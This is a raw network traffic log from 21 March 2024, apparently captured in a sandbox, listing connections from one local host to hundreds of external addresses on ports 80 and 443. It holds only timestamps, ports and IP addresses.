Mar 21, 2024 05:16:52.931215048 CET	19030	80	192.168.2.23	73.214.38.243
Mar 21, 2024 05:16:52.931215048 CET	41178	443	192.168.2.23	79.170.56.35
Mar 21, 2024 05:16:52.931221962 CET	19030	80	192.168.2.23	245.193.168.255
Mar 21, 2024 05:16:52.931221962 CET	19030	80	192.168.2.23	10.223.178.31
Mar 21, 2024 05:16:52.931221962 CET	19030	80	192.168.2.23	211.199.84.0
Mar 21, 2024 05:16:52.931225061 CET	443	58418	2.138.242.102	192.168.2.23
Mar 21, 2024 05:16:52.931225061 CET	19030	80	192.168.2.23	189.77.56.178
Mar 21, 2024 05:16:52.931237936 CET	443	41178	79.170.56.35	192.168.2.23
Mar 21, 2024 05:16:52.931241035 CET	19030	80	192.168.2.23	57.162.139.216
Mar 21, 2024 05:16:52.931241035 CET	36430	443	192.168.2.23	109.254.29.28
Mar 21, 2024 05:16:52.931242943 CET	19030	80	192.168.2.23	194.242.150.135
Mar 21, 2024 05:16:52.931246042 CET	19030	80	192.168.2.23	196.254.79.64
Mar 21, 2024 05:16:52.931247950 CET	19030	80	192.168.2.23	215.29.23.151
Mar 21, 2024 05:16:52.931255102 CET	443	36430	109.254.29.28	192.168.2.23
Mar 21, 2024 05:16:52.931260109 CET	58418	443	192.168.2.23	2.138.242.102
Mar 21, 2024 05:16:52.931260109 CET	41178	443	192.168.2.23	79.170.56.35
Mar 21, 2024 05:16:52.931277990 CET	19030	80	192.168.2.23	129.239.79.221
Mar 21, 2024 05:16:52.931279898 CET	19030	80	192.168.2.23	89.214.22.16
Mar 21, 2024 05:16:52.931282043 CET	56378	443	192.168.2.23	118.50.28.65
Mar 21, 2024 05:16:52.931288004 CET	443	56378	118.50.28.65	192.168.2.23
Mar 21, 2024 05:16:52.931293964 CET	36430	443	192.168.2.23	109.254.29.28
Mar 21, 2024 05:16:52.931293964 CET	19030	80	192.168.2.23	252.164.60.28
Mar 21, 2024 05:16:52.931298971 CET	19030	80	192.168.2.23	189.49.118.48
Mar 21, 2024 05:16:52.931298971 CET	19030	80	192.168.2.23	21.119.131.131
Mar 21, 2024 05:16:52.931302071 CET	19030	80	192.168.2.23	193.186.190.104
Mar 21, 2024 05:16:52.931315899 CET	48972	443	192.168.2.23	94.75.26.1
Mar 21, 2024 05:16:52.931318998 CET	56378	443	192.168.2.23	118.50.28.65
Mar 21, 2024 05:16:52.931323051 CET	443	48972	94.75.26.1	192.168.2.23
Mar 21, 2024 05:16:52.931339025 CET	54340	443	192.168.2.23	79.169.108.77
Mar 21, 2024 05:16:52.931344986 CET	443	54340	79.169.108.77	192.168.2.23
Mar 21, 2024 05:16:52.931351900 CET	48972	443	192.168.2.23	94.75.26.1
Mar 21, 2024 05:16:52.931376934 CET	54340	443	192.168.2.23	79.169.108.77
Mar 21, 2024 05:16:52.931380987 CET	52202	443	192.168.2.23	79.94.134.246
Mar 21, 2024 05:16:52.931385994 CET	443	52202	79.94.134.246	192.168.2.23
Mar 21, 2024 05:16:52.931400061 CET	45724	443	192.168.2.23	210.4.151.36
Mar 21, 2024 05:16:52.931406021 CET	443	45724	210.4.151.36	192.168.2.23
Mar 21, 2024 05:16:52.931416988 CET	52202	443	192.168.2.23	79.94.134.246
Mar 21, 2024 05:16:52.931437969 CET	45724	443	192.168.2.23	210.4.151.36
Mar 21, 2024 05:16:52.931440115 CET	46012	443	192.168.2.23	118.45.205.34
Mar 21, 2024 05:16:52.931443930 CET	443	46012	118.45.205.34	192.168.2.23
Mar 21, 2024 05:16:52.931464911 CET	40054	443	192.168.2.23	37.231.116.38
Mar 21, 2024 05:16:52.931466103 CET	46012	443	192.168.2.23	118.45.205.34
Mar 21, 2024 05:16:52.931472063 CET	443	40054	37.231.116.38	192.168.2.23
Mar 21, 2024 05:16:52.931487083 CET	47402	443	192.168.2.23	42.214.174.179
Mar 21, 2024 05:16:52.931493044 CET	443	47402	42.214.174.179	192.168.2.23
Mar 21, 2024 05:16:52.931509972 CET	40054	443	192.168.2.23	37.231.116.38
Mar 21, 2024 05:16:52.931520939 CET	47402	443	192.168.2.23	42.214.174.179
Mar 21, 2024 05:16:52.931535006 CET	37870	443	192.168.2.23	178.39.0.244
Mar 21, 2024 05:16:52.931541920 CET	443	37870	178.39.0.244	192.168.2.23
Mar 21, 2024 05:16:52.931543112 CET	43256	443	192.168.2.23	94.206.21.16
Mar 21, 2024 05:16:52.931549072 CET	443	43256	94.206.21.16	192.168.2.23
Mar 21, 2024 05:16:52.931554079 CET	42318	443	192.168.2.23	212.78.252.237
Mar 21, 2024 05:16:52.931560040 CET	443	42318	212.78.252.237	192.168.2.23
Mar 21, 2024 05:16:52.931571960 CET	37870	443	192.168.2.23	178.39.0.244
Mar 21, 2024 05:16:52.931576014 CET	43256	443	192.168.2.23	94.206.21.16
Mar 21, 2024 05:16:52.931596994 CET	42318	443	192.168.2.23	212.78.252.237
Mar 21, 2024 05:16:52.931606054 CET	41950	443	192.168.2.23	5.173.186.58
Mar 21, 2024 05:16:52.931612015 CET	443	41950	5.173.186.58	192.168.2.23
Mar 21, 2024 05:16:52.931626081 CET	44038	443	192.168.2.23	2.9.89.70
Mar 21, 2024 05:16:52.931632042 CET	443	44038	2.9.89.70	192.168.2.23
Mar 21, 2024 05:16:52.931638956 CET	41950	443	192.168.2.23	5.173.186.58
Mar 21, 2024 05:16:52.931664944 CET	44038	443	192.168.2.23	2.9.89.70
Mar 21, 2024 05:16:52.931684017 CET	19030	80	192.168.2.23	171.62.182.225
Mar 21, 2024 05:16:52.931684971 CET	19030	80	192.168.2.23	195.192.26.102
Mar 21, 2024 05:16:52.931685925 CET	50508	443	192.168.2.23	118.157.6.214
Mar 21, 2024 05:16:52.931690931 CET	443	50508	118.157.6.214	192.168.2.23
Mar 21, 2024 05:16:52.931694984 CET	19030	80	192.168.2.23	120.70.88.210
Mar 21, 2024 05:16:52.931699038 CET	19030	80	192.168.2.23	37.234.6.74
Mar 21, 2024 05:16:52.931699038 CET	34524	443	192.168.2.23	94.90.214.151
Mar 21, 2024 05:16:52.931706905 CET	443	34524	94.90.214.151	192.168.2.23
Mar 21, 2024 05:16:52.931710958 CET	45054	443	192.168.2.23	118.231.42.172
Mar 21, 2024 05:16:52.931718111 CET	443	45054	118.231.42.172	192.168.2.23
Mar 21, 2024 05:16:52.931719065 CET	19030	80	192.168.2.23	72.252.62.156
Mar 21, 2024 05:16:52.931719065 CET	19030	80	192.168.2.23	12.177.3.179
Mar 21, 2024 05:16:52.931720972 CET	19030	80	192.168.2.23	167.83.135.154
Mar 21, 2024 05:16:52.931725979 CET	19030	80	192.168.2.23	1.147.208.85
Mar 21, 2024 05:16:52.931730032 CET	50508	443	192.168.2.23	118.157.6.214
Mar 21, 2024 05:16:52.931736946 CET	19030	80	192.168.2.23	53.16.146.99
Mar 21, 2024 05:16:52.931737900 CET	34524	443	192.168.2.23	94.90.214.151
Mar 21, 2024 05:16:52.931739092 CET	19030	80	192.168.2.23	64.246.234.124
Mar 21, 2024 05:16:52.931754112 CET	19030	80	192.168.2.23	196.48.110.15
Mar 21, 2024 05:16:52.931756020 CET	45054	443	192.168.2.23	118.231.42.172
Mar 21, 2024 05:16:52.931756020 CET	58694	443	192.168.2.23	210.100.79.19
Mar 21, 2024 05:16:52.931762934 CET	19030	80	192.168.2.23	218.100.203.139
Mar 21, 2024 05:16:52.931771040 CET	443	58694	210.100.79.19	192.168.2.23
Mar 21, 2024 05:16:52.931771040 CET	19030	80	192.168.2.23	150.97.125.125
Mar 21, 2024 05:16:52.931773901 CET	19030	80	192.168.2.23	64.121.109.203
Mar 21, 2024 05:16:52.931781054 CET	19030	80	192.168.2.23	182.145.247.2
Mar 21, 2024 05:16:52.931781054 CET	19030	80	192.168.2.23	146.21.32.56
Mar 21, 2024 05:16:52.931797028 CET	19030	80	192.168.2.23	190.163.10.13
Mar 21, 2024 05:16:52.931798935 CET	19030	80	192.168.2.23	110.252.250.147
Mar 21, 2024 05:16:52.931799889 CET	58694	443	192.168.2.23	210.100.79.19
Mar 21, 2024 05:16:52.931801081 CET	49194	443	192.168.2.23	109.22.252.241
Mar 21, 2024 05:16:52.931802034 CET	19030	80	192.168.2.23	78.83.163.145
Mar 21, 2024 05:16:52.931807995 CET	443	49194	109.22.252.241	192.168.2.23
Mar 21, 2024 05:16:52.931822062 CET	19030	80	192.168.2.23	191.201.125.161
Mar 21, 2024 05:16:52.931824923 CET	19030	80	192.168.2.23	24.121.102.131
Mar 21, 2024 05:16:52.931824923 CET	19030	80	192.168.2.23	22.135.54.152
Mar 21, 2024 05:16:52.931835890 CET	49194	443	192.168.2.23	109.22.252.241
Mar 21, 2024 05:16:52.931838036 CET	19030	80	192.168.2.23	180.57.243.242
Mar 21, 2024 05:16:52.931839943 CET	19030	80	192.168.2.23	175.144.165.178
Mar 21, 2024 05:16:52.931843996 CET	19030	80	192.168.2.23	141.4.182.5
Mar 21, 2024 05:16:52.931843996 CET	19030	80	192.168.2.23	133.95.166.69
Mar 21, 2024 05:16:52.931849003 CET	19030	80	192.168.2.23	153.250.187.207
Mar 21, 2024 05:16:52.931854010 CET	39410	443	192.168.2.23	118.187.146.126
Mar 21, 2024 05:16:52.931859970 CET	443	39410	118.187.146.126	192.168.2.23
Mar 21, 2024 05:16:52.931869984 CET	19030	80	192.168.2.23	243.105.231.235
Mar 21, 2024 05:16:52.931869984 CET	19030	80	192.168.2.23	43.127.95.91
Mar 21, 2024 05:16:52.931869984 CET	19030	80	192.168.2.23	68.75.50.73
Mar 21, 2024 05:16:52.931869984 CET	19030	80	192.168.2.23	11.194.96.53
Mar 21, 2024 05:16:52.931874037 CET	19030	80	192.168.2.23	4.199.162.1
Mar 21, 2024 05:16:52.931875944 CET	19030	80	192.168.2.23	15.7.99.45
Mar 21, 2024 05:16:52.931875944 CET	19030	80	192.168.2.23	222.102.98.31
Mar 21, 2024 05:16:52.931879044 CET	19030	80	192.168.2.23	128.194.103.40
Mar 21, 2024 05:16:52.931879997 CET	19030	80	192.168.2.23	66.14.4.4
Mar 21, 2024 05:16:52.931879997 CET	19030	80	192.168.2.23	248.49.170.107
Mar 21, 2024 05:16:52.931881905 CET	39410	443	192.168.2.23	118.187.146.126
Mar 21, 2024 05:16:52.931885004 CET	19030	80	192.168.2.23	34.45.165.255
Mar 21, 2024 05:16:52.931896925 CET	19030	80	192.168.2.23	29.14.105.5
Mar 21, 2024 05:16:52.931896925 CET	19030	80	192.168.2.23	86.16.44.193
Mar 21, 2024 05:16:52.931898117 CET	19030	80	192.168.2.23	218.82.169.77
Mar 21, 2024 05:16:52.931905031 CET	19030	80	192.168.2.23	12.73.235.250
Mar 21, 2024 05:16:52.931905985 CET	19030	80	192.168.2.23	1.206.95.167
Mar 21, 2024 05:16:52.931911945 CET	19030	80	192.168.2.23	174.66.18.126
Mar 21, 2024 05:16:52.931921959 CET	47426	443	192.168.2.23	109.70.192.238
Mar 21, 2024 05:16:52.931921959 CET	19030	80	192.168.2.23	41.241.251.194
Mar 21, 2024 05:16:52.931924105 CET	32988	443	192.168.2.23	178.12.162.172
Mar 21, 2024 05:16:52.931925058 CET	19030	80	192.168.2.23	222.5.146.0
Mar 21, 2024 05:16:52.931926966 CET	443	47426	109.70.192.238	192.168.2.23
Mar 21, 2024 05:16:52.931930065 CET	443	32988	178.12.162.172	192.168.2.23
Mar 21, 2024 05:16:52.931930065 CET	19030	80	192.168.2.23	70.242.223.238
Mar 21, 2024 05:16:52.931946039 CET	19030	80	192.168.2.23	31.198.98.56
Mar 21, 2024 05:16:52.931950092 CET	19030	80	192.168.2.23	67.237.193.91
Mar 21, 2024 05:16:52.931955099 CET	19030	80	192.168.2.23	60.28.194.63
Mar 21, 2024 05:16:52.931955099 CET	19030	80	192.168.2.23	116.167.248.145
Mar 21, 2024 05:16:52.931957960 CET	47426	443	192.168.2.23	109.70.192.238
Mar 21, 2024 05:16:52.931956053 CET	19030	80	192.168.2.23	125.156.62.202
Mar 21, 2024 05:16:52.931956053 CET	32988	443	192.168.2.23	178.12.162.172
Mar 21, 2024 05:16:52.931961060 CET	54306	443	192.168.2.23	178.195.18.68
Mar 21, 2024 05:16:52.931966066 CET	443	54306	178.195.18.68	192.168.2.23
Mar 21, 2024 05:16:52.931981087 CET	19030	80	192.168.2.23	151.244.214.54
Mar 21, 2024 05:16:52.931981087 CET	52440	443	192.168.2.23	178.73.48.3
Mar 21, 2024 05:16:52.931981087 CET	19030	80	192.168.2.23	21.143.30.127
Mar 21, 2024 05:16:52.931988001 CET	443	52440	178.73.48.3	192.168.2.23
Mar 21, 2024 05:16:52.931992054 CET	19030	80	192.168.2.23	119.182.163.220
Mar 21, 2024 05:16:52.931998014 CET	19030	80	192.168.2.23	108.95.146.163
Mar 21, 2024 05:16:52.931998014 CET	19030	80	192.168.2.23	52.123.192.66
Mar 21, 2024 05:16:52.931998014 CET	19030	80	192.168.2.23	47.92.76.187
Mar 21, 2024 05:16:52.931998014 CET	19030	80	192.168.2.23	94.130.119.117
Mar 21, 2024 05:16:52.932007074 CET	19030	80	192.168.2.23	142.137.69.242
Mar 21, 2024 05:16:52.932008982 CET	54306	443	192.168.2.23	178.195.18.68
Mar 21, 2024 05:16:52.932008982 CET	19030	80	192.168.2.23	198.34.64.251
Mar 21, 2024 05:16:52.932010889 CET	19030	80	192.168.2.23	1.96.173.134
Mar 21, 2024 05:16:52.932020903 CET	19030	80	192.168.2.23	147.72.171.42
Mar 21, 2024 05:16:52.932029009 CET	19030	80	192.168.2.23	74.211.16.48
Mar 21, 2024 05:16:52.932029009 CET	19030	80	192.168.2.23	183.54.52.20
Mar 21, 2024 05:16:52.932032108 CET	19030	80	192.168.2.23	148.30.134.110
Mar 21, 2024 05:16:52.932033062 CET	52440	443	192.168.2.23	178.73.48.3
Mar 21, 2024 05:16:52.932033062 CET	19030	80	192.168.2.23	121.237.15.201
Mar 21, 2024 05:16:52.932037115 CET	19030	80	192.168.2.23	176.179.152.157
Mar 21, 2024 05:16:52.932055950 CET	19030	80	192.168.2.23	245.40.167.165
Mar 21, 2024 05:16:52.932058096 CET	19030	80	192.168.2.23	102.148.168.243
Mar 21, 2024 05:16:52.932060957 CET	19030	80	192.168.2.23	193.4.19.87
Mar 21, 2024 05:16:52.932060957 CET	19030	80	192.168.2.23	62.141.224.230
Mar 21, 2024 05:16:52.932075024 CET	19030	80	192.168.2.23	26.77.105.40
Mar 21, 2024 05:16:52.932077885 CET	19030	80	192.168.2.23	119.119.25.122
Mar 21, 2024 05:16:52.932079077 CET	19030	80	192.168.2.23	93.169.56.217
Mar 21, 2024 05:16:52.932080984 CET	19030	80	192.168.2.23	122.154.167.199
Mar 21, 2024 05:16:52.932092905 CET	19030	80	192.168.2.23	168.235.100.167
Mar 21, 2024 05:16:52.932095051 CET	19030	80	192.168.2.23	87.115.88.141
Mar 21, 2024 05:16:52.932101965 CET	19030	80	192.168.2.23	95.158.242.98
Mar 21, 2024 05:16:52.932113886 CET	19030	80	192.168.2.23	153.144.218.0
Mar 21, 2024 05:16:52.932113886 CET	19030	80	192.168.2.23	24.243.24.46
Mar 21, 2024 05:16:52.932123899 CET	19030	80	192.168.2.23	190.12.191.74
Mar 21, 2024 05:16:52.932132006 CET	19030	80	192.168.2.23	72.201.60.171
Mar 21, 2024 05:16:52.932145119 CET	19030	80	192.168.2.23	108.225.223.47
Mar 21, 2024 05:16:52.932151079 CET	19030	80	192.168.2.23	176.208.111.220
Mar 21, 2024 05:16:52.932172060 CET	19030	80	192.168.2.23	90.237.204.43
Mar 21, 2024 05:16:52.932172060 CET	19030	80	192.168.2.23	21.10.10.185
Mar 21, 2024 05:16:52.932172060 CET	19030	80	192.168.2.23	222.20.252.217
Mar 21, 2024 05:16:52.932185888 CET	19030	80	192.168.2.23	70.60.13.62
Mar 21, 2024 05:16:52.932190895 CET	19030	80	192.168.2.23	28.125.61.72
Mar 21, 2024 05:16:52.932198048 CET	19030	80	192.168.2.23	150.122.102.80
Mar 21, 2024 05:16:52.932199001 CET	19030	80	192.168.2.23	73.177.161.116
Mar 21, 2024 05:16:52.932213068 CET	19030	80	192.168.2.23	10.3.96.245
Mar 21, 2024 05:16:52.932213068 CET	19030	80	192.168.2.23	130.74.28.29
Mar 21, 2024 05:16:52.932229042 CET	19030	80	192.168.2.23	186.124.14.138
Mar 21, 2024 05:16:52.932230949 CET	19030	80	192.168.2.23	69.18.138.81
Mar 21, 2024 05:16:52.932233095 CET	19030	80	192.168.2.23	153.164.67.145
Mar 21, 2024 05:16:52.932235003 CET	19030	80	192.168.2.23	130.113.184.242
Mar 21, 2024 05:16:52.932235003 CET	19030	80	192.168.2.23	128.4.198.205
Mar 21, 2024 05:16:52.932245016 CET	19030	80	192.168.2.23	61.61.79.91
Mar 21, 2024 05:16:52.932250023 CET	19030	80	192.168.2.23	116.248.10.89
Mar 21, 2024 05:16:52.932250023 CET	19030	80	192.168.2.23	119.64.174.48
Mar 21, 2024 05:16:52.932255030 CET	19030	80	192.168.2.23	169.36.25.228
Mar 21, 2024 05:16:52.932265997 CET	19030	80	192.168.2.23	195.196.91.214
Mar 21, 2024 05:16:52.932269096 CET	19030	80	192.168.2.23	210.175.135.215
Mar 21, 2024 05:16:52.932269096 CET	19030	80	192.168.2.23	87.241.104.239
Mar 21, 2024 05:16:52.932276011 CET	19030	80	192.168.2.23	140.98.162.72
Mar 21, 2024 05:16:52.932301998 CET	19030	80	192.168.2.23	209.45.111.153
Mar 21, 2024 05:16:52.932305098 CET	19030	80	192.168.2.23	131.164.157.237
Mar 21, 2024 05:16:52.932308912 CET	19030	80	192.168.2.23	84.230.197.100
Mar 21, 2024 05:16:52.932312012 CET	19030	80	192.168.2.23	29.43.120.82
Mar 21, 2024 05:16:52.932327986 CET	19030	80	192.168.2.23	60.179.217.119
Mar 21, 2024 05:16:52.932328939 CET	19030	80	192.168.2.23	84.70.68.154
Mar 21, 2024 05:16:52.932331085 CET	19030	80	192.168.2.23	2.151.146.217
Mar 21, 2024 05:16:52.932334900 CET	19030	80	192.168.2.23	28.193.49.25
Mar 21, 2024 05:16:52.932343960 CET	19030	80	192.168.2.23	221.6.179.107
Mar 21, 2024 05:16:52.932343960 CET	19030	80	192.168.2.23	140.129.85.115
Mar 21, 2024 05:16:52.932343960 CET	19030	80	192.168.2.23	172.29.122.3
Mar 21, 2024 05:16:52.932357073 CET	19030	80	192.168.2.23	195.201.175.140
Mar 21, 2024 05:16:52.932358027 CET	19030	80	192.168.2.23	243.205.180.102
Mar 21, 2024 05:16:52.932369947 CET	19030	80	192.168.2.23	139.1.13.146
Mar 21, 2024 05:16:52.932369947 CET	19030	80	192.168.2.23	61.138.247.210
Mar 21, 2024 05:16:52.932372093 CET	19030	80	192.168.2.23	180.223.111.185
Mar 21, 2024 05:16:52.932389975 CET	19030	80	192.168.2.23	95.203.81.133
Mar 21, 2024 05:16:52.932390928 CET	19030	80	192.168.2.23	78.249.15.165
Mar 21, 2024 05:16:52.932394028 CET	19030	80	192.168.2.23	223.17.88.173
Mar 21, 2024 05:16:52.932399035 CET	19030	80	192.168.2.23	139.217.73.197
Mar 21, 2024 05:16:52.932408094 CET	19030	80	192.168.2.23	44.228.103.229
Mar 21, 2024 05:16:52.932410955 CET	19030	80	192.168.2.23	161.240.96.239
Mar 21, 2024 05:16:52.932426929 CET	19030	80	192.168.2.23	214.9.175.160
Mar 21, 2024 05:16:52.932430029 CET	19030	80	192.168.2.23	22.113.30.91
Mar 21, 2024 05:16:52.932439089 CET	19030	80	192.168.2.23	221.1.155.156
Mar 21, 2024 05:16:52.932447910 CET	19030	80	192.168.2.23	112.188.118.84
Mar 21, 2024 05:16:52.932451010 CET	19030	80	192.168.2.23	35.39.90.70
Mar 21, 2024 05:16:52.932455063 CET	19030	80	192.168.2.23	64.209.139.155
Mar 21, 2024 05:16:52.932461023 CET	19030	80	192.168.2.23	57.33.130.47
Mar 21, 2024 05:16:52.932466030 CET	19030	80	192.168.2.23	114.226.175.26
Mar 21, 2024 05:16:52.932470083 CET	19030	80	192.168.2.23	3.153.103.189
Mar 21, 2024 05:16:52.932471037 CET	19030	80	192.168.2.23	128.61.27.94
Mar 21, 2024 05:16:52.932480097 CET	19030	80	192.168.2.23	196.30.49.40
Mar 21, 2024 05:16:52.932487011 CET	19030	80	192.168.2.23	175.77.200.114
Mar 21, 2024 05:16:52.932487011 CET	19030	80	192.168.2.23	255.238.96.130
Mar 21, 2024 05:16:52.932497978 CET	19030	80	192.168.2.23	104.233.221.237
Mar 21, 2024 05:16:52.932502031 CET	19030	80	192.168.2.23	40.252.65.72
Mar 21, 2024 05:16:52.932512045 CET	19030	80	192.168.2.23	42.7.161.93
Mar 21, 2024 05:16:52.932522058 CET	19030	80	192.168.2.23	87.234.84.193
Mar 21, 2024 05:16:52.932523012 CET	19030	80	192.168.2.23	183.205.194.98
Mar 21, 2024 05:16:52.932523012 CET	19030	80	192.168.2.23	218.87.56.29
Mar 21, 2024 05:16:52.932543993 CET	19030	80	192.168.2.23	131.246.130.38
Mar 21, 2024 05:16:52.932544947 CET	19030	80	192.168.2.23	182.113.93.66
Mar 21, 2024 05:16:52.932548046 CET	19030	80	192.168.2.23	217.165.168.232
Mar 21, 2024 05:16:52.932554960 CET	19030	80	192.168.2.23	10.134.113.255
Mar 21, 2024 05:16:52.932565928 CET	19030	80	192.168.2.23	134.161.127.99
Mar 21, 2024 05:16:52.932569981 CET	19030	80	192.168.2.23	22.140.99.240
Mar 21, 2024 05:16:52.932570934 CET	19030	80	192.168.2.23	85.129.166.145
Mar 21, 2024 05:16:52.932570934 CET	19030	80	192.168.2.23	163.60.246.132
Mar 21, 2024 05:16:52.932575941 CET	19030	80	192.168.2.23	170.203.16.248
Mar 21, 2024 05:16:52.932581902 CET	19030	80	192.168.2.23	89.228.147.9
Mar 21, 2024 05:16:52.932590961 CET	19030	80	192.168.2.23	18.154.192.13
Mar 21, 2024 05:16:52.932596922 CET	19030	80	192.168.2.23	185.83.173.187
Mar 21, 2024 05:16:52.932600021 CET	19030	80	192.168.2.23	126.73.247.241
Mar 21, 2024 05:16:52.932600021 CET	19030	80	192.168.2.23	119.31.188.91
Mar 21, 2024 05:16:52.932612896 CET	19030	80	192.168.2.23	111.136.233.236
Mar 21, 2024 05:16:52.932616949 CET	19030	80	192.168.2.23	22.173.173.48
Mar 21, 2024 05:16:52.932617903 CET	19030	80	192.168.2.23	194.216.196.176
Mar 21, 2024 05:16:52.932621002 CET	19030	80	192.168.2.23	167.157.73.67
Mar 21, 2024 05:16:52.932622910 CET	19030	80	192.168.2.23	117.236.103.216
Mar 21, 2024 05:16:52.932626009 CET	19030	80	192.168.2.23	208.48.168.42
Mar 21, 2024 05:16:52.932640076 CET	19030	80	192.168.2.23	169.87.195.77
Mar 21, 2024 05:16:52.932642937 CET	19030	80	192.168.2.23	140.195.18.26
Mar 21, 2024 05:16:52.932662964 CET	19030	80	192.168.2.23	152.233.246.247
Mar 21, 2024 05:16:52.932665110 CET	19030	80	192.168.2.23	54.218.32.114
Mar 21, 2024 05:16:52.932665110 CET	19030	80	192.168.2.23	45.97.33.176
Mar 21, 2024 05:16:52.932666063 CET	19030	80	192.168.2.23	10.72.184.110
Mar 21, 2024 05:16:52.932677031 CET	19030	80	192.168.2.23	67.183.77.80
Mar 21, 2024 05:16:52.932681084 CET	19030	80	192.168.2.23	100.59.140.196
Mar 21, 2024 05:16:52.932688951 CET	19030	80	192.168.2.23	79.226.47.207
Mar 21, 2024 05:16:52.932692051 CET	19030	80	192.168.2.23	223.119.152.151
Mar 21, 2024 05:16:52.932702065 CET	19030	80	192.168.2.23	74.85.8.248
Mar 21, 2024 05:16:52.932708979 CET	19030	80	192.168.2.23	222.32.156.207
Mar 21, 2024 05:16:52.932717085 CET	19030	80	192.168.2.23	122.81.186.18
Mar 21, 2024 05:16:52.932724953 CET	19030	80	192.168.2.23	150.141.184.32
Mar 21, 2024 05:16:52.932724953 CET	19030	80	192.168.2.23	206.119.220.108
Mar 21, 2024 05:16:52.932734966 CET	19030	80	192.168.2.23	182.59.239.109
Mar 21, 2024 05:16:52.932740927 CET	19030	80	192.168.2.23	9.24.69.100
Mar 21, 2024 05:16:52.932744026 CET	19030	80	192.168.2.23	214.58.84.112
Mar 21, 2024 05:16:52.932745934 CET	19030	80	192.168.2.23	182.36.207.7
Mar 21, 2024 05:16:52.932760954 CET	19030	80	192.168.2.23	22.137.113.38
Mar 21, 2024 05:16:52.932766914 CET	19030	80	192.168.2.23	16.34.255.111
Mar 21, 2024 05:16:52.932791948 CET	19030	80	192.168.2.23	165.150.244.109
Mar 21, 2024 05:16:52.932792902 CET	19030	80	192.168.2.23	212.239.93.176
Mar 21, 2024 05:16:52.932792902 CET	19030	80	192.168.2.23	106.165.58.130
Mar 21, 2024 05:16:52.932804108 CET	19030	80	192.168.2.23	135.110.84.222
Mar 21, 2024 05:16:52.932809114 CET	19030	80	192.168.2.23	74.208.225.80
Mar 21, 2024 05:16:52.932811022 CET	19030	80	192.168.2.23	87.221.196.236
Mar 21, 2024 05:16:52.932811022 CET	19030	80	192.168.2.23	71.3.193.140
Mar 21, 2024 05:16:52.932821035 CET	19030	80	192.168.2.23	80.6.45.26
Mar 21, 2024 05:16:52.932821035 CET	19030	80	192.168.2.23	55.160.109.171
Mar 21, 2024 05:16:52.932823896 CET	19030	80	192.168.2.23	83.134.224.56
Mar 21, 2024 05:16:52.932823896 CET	19030	80	192.168.2.23	97.184.108.38
Mar 21, 2024 05:16:52.932826042 CET	19030	80	192.168.2.23	72.215.232.67
Mar 21, 2024 05:16:52.932831049 CET	19030	80	192.168.2.23	128.2.164.66
Mar 21, 2024 05:16:52.932831049 CET	19030	80	192.168.2.23	84.116.155.177
Mar 21, 2024 05:16:52.932837009 CET	19030	80	192.168.2.23	150.205.222.97
Mar 21, 2024 05:16:52.932842970 CET	19030	80	192.168.2.23	144.140.35.122
Mar 21, 2024 05:16:52.932847977 CET	19030	80	192.168.2.23	85.71.237.8
Mar 21, 2024 05:16:52.932848930 CET	19030	80	192.168.2.23	9.220.79.52
Mar 21, 2024 05:16:52.932851076 CET	19030	80	192.168.2.23	45.250.65.141
Mar 21, 2024 05:16:52.932861090 CET	19030	80	192.168.2.23	109.235.98.193
Mar 21, 2024 05:16:52.932872057 CET	19030	80	192.168.2.23	161.9.33.173
Mar 21, 2024 05:16:52.932872057 CET	19030	80	192.168.2.23	101.215.119.191
Mar 21, 2024 05:16:52.932872057 CET	19030	80	192.168.2.23	193.30.202.220
Mar 21, 2024 05:16:52.933100939 CET	19030	80	192.168.2.23	183.182.3.153
Mar 21, 2024 05:16:52.933104038 CET	19030	80	192.168.2.23	5.5.48.119
Mar 21, 2024 05:16:52.933104038 CET	19030	80	192.168.2.23	19.151.76.241
Mar 21, 2024 05:16:52.933120012 CET	19030	80	192.168.2.23	107.85.178.252
Mar 21, 2024 05:16:52.933121920 CET	19030	80	192.168.2.23	55.195.124.114
Mar 21, 2024 05:16:52.933121920 CET	19030	80	192.168.2.23	156.188.226.99
Mar 21, 2024 05:16:52.933130980 CET	19030	80	192.168.2.23	212.132.41.47
Mar 21, 2024 05:16:52.933136940 CET	19030	80	192.168.2.23	186.252.38.249
Mar 21, 2024 05:16:52.933146000 CET	19030	80	192.168.2.23	206.83.91.51
Mar 21, 2024 05:16:52.933146000 CET	19030	80	192.168.2.23	192.183.80.199
Mar 21, 2024 05:16:52.933159113 CET	19030	80	192.168.2.23	27.58.232.100
Mar 21, 2024 05:16:52.933166981 CET	19030	80	192.168.2.23	89.133.147.202
Mar 21, 2024 05:16:52.933173895 CET	19030	80	192.168.2.23	194.174.30.167
Mar 21, 2024 05:16:52.933183908 CET	19030	80	192.168.2.23	62.40.54.249
Mar 21, 2024 05:16:52.933190107 CET	19030	80	192.168.2.23	219.35.161.208
Mar 21, 2024 05:16:52.933201075 CET	19030	80	192.168.2.23	182.49.113.22
Mar 21, 2024 05:16:52.933202028 CET	19030	80	192.168.2.23	82.194.235.163
Mar 21, 2024 05:16:52.933202982 CET	19030	80	192.168.2.23	126.124.100.39
Mar 21, 2024 05:16:52.933204889 CET	19030	80	192.168.2.23	222.205.167.253
Mar 21, 2024 05:16:52.933218956 CET	19030	80	192.168.2.23	109.122.117.225
Mar 21, 2024 05:16:52.933240891 CET	19030	80	192.168.2.23	255.25.129.189
Mar 21, 2024 05:16:52.933242083 CET	19030	80	192.168.2.23	3.46.241.57
Mar 21, 2024 05:16:52.933250904 CET	19030	80	192.168.2.23	214.65.66.41
Mar 21, 2024 05:16:52.933254004 CET	19030	80	192.168.2.23	51.208.213.6
Mar 21, 2024 05:16:52.933263063 CET	19030	80	192.168.2.23	159.189.249.59
Mar 21, 2024 05:16:52.933263063 CET	19030	80	192.168.2.23	145.244.161.83
Mar 21, 2024 05:16:52.933270931 CET	19030	80	192.168.2.23	181.105.185.213
Mar 21, 2024 05:16:52.933285952 CET	19030	80	192.168.2.23	72.138.127.230
Mar 21, 2024 05:16:52.933285952 CET	19030	80	192.168.2.23	184.12.21.157
Mar 21, 2024 05:16:52.933285952 CET	19030	80	192.168.2.23	157.136.191.113
Mar 21, 2024 05:16:52.933301926 CET	19030	80	192.168.2.23	58.63.115.177
Mar 21, 2024 05:16:52.933304071 CET	19030	80	192.168.2.23	63.161.199.136
Mar 21, 2024 05:16:52.933304071 CET	19030	80	192.168.2.23	195.178.194.45
Mar 21, 2024 05:16:52.933306932 CET	19030	80	192.168.2.23	92.116.30.169
Mar 21, 2024 05:16:52.933310032 CET	19030	80	192.168.2.23	209.137.219.70
Mar 21, 2024 05:16:52.933325052 CET	19030	80	192.168.2.23	126.173.105.125
